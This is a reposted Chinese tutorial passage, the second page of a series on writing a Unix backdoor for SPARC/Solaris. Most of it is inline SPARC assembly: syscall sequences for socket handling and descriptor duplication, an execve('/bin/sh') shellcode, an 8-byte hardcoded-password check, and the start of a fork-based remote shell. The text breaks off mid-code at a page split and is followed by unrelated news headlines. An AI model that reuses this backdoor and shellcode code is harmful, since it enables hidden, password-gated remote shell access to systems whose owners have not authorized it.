分享
 
 
 

SPARC/Solaris下的Unix后门初探(2)

王朝system·作者佚名  2006-11-24
窄屏简体版  字體: |||超大  

这段代码仅仅演示了很重要的两个部分,一个是设置文本段可写,一个是成功创建套

接字并阻塞在accept()系统调用处,一旦有入连接,程序就正常终止了。幸运的是,

在经历了太多磨难后,SPARC没有继续为难我们,一切按照预想的发展。

编写syscall( 6, s )、syscall( 6, c )以及syscall( 62, c, 9, 0 ):

--------------------------------------------------------------------------

/* gcc -o asm asm.c */

int main ( int argc, char * argv[] )

{

__asm__

("

mov 0x06, %o0 ! 第一个参数6

ld [ %l7 ], %o1 ! 第二个参数s

clr %g1

ta 8

mov 0x3e, %o0 ! 第一个参数62

ld [ %l7 + 4 ], %o1 ! 第二个参数c

mov 0x09, %o2

clr %o3

clr %g1

ta 8

mov 0x06, %o0 ! 第一个参数6

ld [ %l7 + 4 ], %o1 ! 第二个参数c

clr %g1

ta 8

");

} /* end of main */

--------------------------------------------------------------------------

还有一个更烦人的execve( name[0], name, 0 ),可以从

<< solaris for sparc下shellcode的编写(三) >>中偷一些代码过来:

--------------------------------------------------------------------------

/* gcc -o asm asm.c */

int main ( int argc, char * argv[] )

{

__asm__

("

sethi 0xbd89a, %l4 ! sethi %hi(0x2f626800), %l4

or %l4, 0x16e, %l4

sethi 0xbdcda, %l5 ! sethi %hi(0x2f736800), %l5

and %sp, %sp, %o0 ! $o0 指向字符串/bin/sh

add %sp, 8, %o1 ! $o1 存放一个地址,该地址处存放了指向字符串的指针

xor %o2, %o2, %o2 ! %o2寄存器清零

add %sp, 16, %sp ! 留出存储空间

std %l4, [%sp - 16] ! 存放字符串

st %o0, [%sp - 8] ! 存放字符串指针

st %g0, [%sp - 4] ! %g0总是为0

mov 0x3b, %g1 ! 将0x3b拷贝到%g1寄存器中

ta 8 ! 执行中断指令ta 8(execve()完成)

");

} /* end of main */

--------------------------------------------------------------------------

最后研究一下syscall( 3, c, pass, 8 ):

--------------------------------------------------------------------------

0x1033c <main+392>: mov 3, %o0

0x10340 <main+396>: ld [ %o1 + 0x1b0 ], %o1

0x10344 <main+400>: sethi %hi(0x26400), %o3

0x10348 <main+404>: or %o3, 0x158, %o2 ! 0x26558 <pass>

0x1034c <main+408>: mov 8, %o3

0x10350 <main+412>: call 0x10fec <syscall>

0x10354 <main+416>: nop

--------------------------------------------------------------------------

分析后提炼如下:

--------------------------------------------------------------------------

/* gcc -o asm asm.c */

int main ( int argc, char * argv[] )

{

__asm__

("

mov 0x03, %o0 ! 第一个参数3

ld [ %l7 + 4 ], %o1 ! 第二个参数c

add %l7, 8, %o2 ! 第三个参数pass

mov 0x08, %o3 ! 第四个参数8

clr %g1

ta 8

");

} /* end of main */

--------------------------------------------------------------------------

本以为这就是最后了,猛然记起SPARC没有repnz cmpsb指令。可以省点事的是我们强

制口令恰好8个字节,所以比较两个usigned long即可。

--------------------------------------------------------------------------

/* gcc -o asm asm.c */

int main ( int argc, char * argv[] )

{

__asm__

("

read:

mov 0x03, %o0 ! 第一个参数3

ld [ %l7 + 4 ], %o1 ! 第二个参数c

add %l7, 8, %o2 ! 第三个参数pass

mov 0x08, %o3 ! 第四个参数8

clr %g1

ta 8 ! read( c, pass, 8 )

ld [ %l7 + 8 ], %o0

ld [ %l7 + 28 ], %o1

cmp %o0, %o1

be,a .+16

nop

call read

nop

ld [ %l7 + 12 ], %o0

ld [ %l7 + 32 ], %o1

cmp %o0, %o1

be,a .+16

nop

call read

nop

");

} /* end of main */

--------------------------------------------------------------------------

实际最初的代码不是这个样子,当时忽略了SPARC下严格的4字节对齐的要求,导致在

做弱口令验证的时候总线错误,i386下是没有这种顾虑的。这也说明了SPARC下汇编

编程更加困难,需要更多的细心。

至此,我们需要的各个系统调用、各个关键部位的汇编代码统统搞定,剩下的问题是

组合它们。提醒大家的是,即使我们这次组合顺利,也不意味着backdoor for sparc

成功搞定,尚不了解ELF的处理方式是否通用于SPARC和i386之间。如果搞不定,大家

不要乱扔臭鸡蛋、西红柿什么的,砸到我倒没什么,砸到小朋友怎么办,即使砸不到

小朋友,砸到那些花花草草也是不好的,我都给你们说过多次了。

言归正传,backdoor如果没搞定,作为汇编版本的远程shell毕竟提供出来了,对于

以后可能出现的很多研究有借鉴作用,也是不错的。

--------------------------------------------------------------------------

/* gcc -o asm asm.c */

int main ( int argc, char * argv[] )

{

__asm__

("

mov 2, %g1

ta 8 ! fork()

tst %o1 ! %o1不为0表示是子进程

bne,a .+16 &nbs

[1] [2] [3] 下一页

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有